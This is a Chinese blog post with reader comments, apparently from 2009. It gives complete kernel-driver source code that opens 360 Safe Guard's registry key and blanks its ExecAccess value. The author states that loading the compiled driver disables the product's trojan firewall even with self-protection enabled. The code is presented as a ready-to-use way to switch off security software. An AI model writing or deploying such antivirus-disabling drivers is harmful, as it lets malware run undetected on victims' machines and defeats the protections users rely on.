对注册表的操作的和对文件的操作差不多 ,但是还是有些区别,下面就写一个对注册表操作的例子,这个是修改360安全卫士的注册表选项,使其木马防火墙失效。(在ring3下是不行的,驱动才行得通,即使360开自我保护也无所谓)

首先明确一下流程:

1.定义一个操作对象OBJECT_ATTRIBUTES

2.用InitializeObjectAttributes()函数初始化这个对象

3.用ZwOpenKey()函数来打开注册表打开360的选项

4.用ZwSetValueKey()函数来把360木马防火墙的的键值设置成空

5用ZwClose()函数来关闭打开的注册表

代码如下:

#include <ntddk.h>
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING UnicodeString)
{
 UNICODE_STRING path;//定义注册表路径字符串
 UNICODE_STRING name;//定义名称字符串
 UNICODE_STRING data;//定义数据字符串
 OBJECT_ATTRIBUTES oa;//定义操作对象
 HANDLE myhandle=NULL;//定义返回句柄

 RtlInitUnicodeString(&path,L”\\Registry\\Machine\\SOFTWARE\\360Safe\\safemon”);//初始化注册表路径字符串
 RtlInitUnicodeString(&name,L”ExecAccess”);//初始化名称字符串
 RtlInitUnicodeString(&data,0);//初始化数据字符串
 InitializeObjectAttributes(&oa,&path,OBJ_CASE_INSENSITIVE,NULL,NULL);//初始化操作对象
 ZwOpenKey(//打开注册表
  &myhandle,//返回句柄
  KEY_WRITE,//权限
  &oa//操作对象
  );
 ZwSetValueKey(//设置注册表键值
  myhandle,//当前句柄
  &name,//键名
  0,
  REG_SZ,//方式
  data.Buffer,//字符串缓冲
  data.Length//字符串长度
  );
 ZwClose(myhandle);//关闭注册表
 DriverObject->DriverUnload=Unload;
 return STATUS_SUCCESS;
}

编译后加载驱动就可以关闭360的木马防火墙了~!

, , , , , ,
Trackback

本文到目前为止有 6 个回复

  1. 一击屠夫 @ 2009-06-05 16:50

    驱动驱动我爱你~~
    零度兄,链接已更新完毕~
    四级迫在眉睫!fighting啊!!!

    [回复]

    零度x 回复:

    四级我是放弃了,上次考了400多分,知足了,英语我从来都不学的,兄弟加油~!

    [回复]

  2. 一击屠夫 @ 2009-06-07 12:22

    你自暴自弃了- -..
    那我自己爆发好了!!!

    [回复]

    零度x 回复:

    呵呵,期待着你的好消息~!

    [回复]

  3. muyufeng @ 2009-07-14 21:06

    晕啊,战场已经到了系统底层了。

    [回复]

    零度x 回复:

    底层的战争很早就开始了。。。

    [回复]

添加回复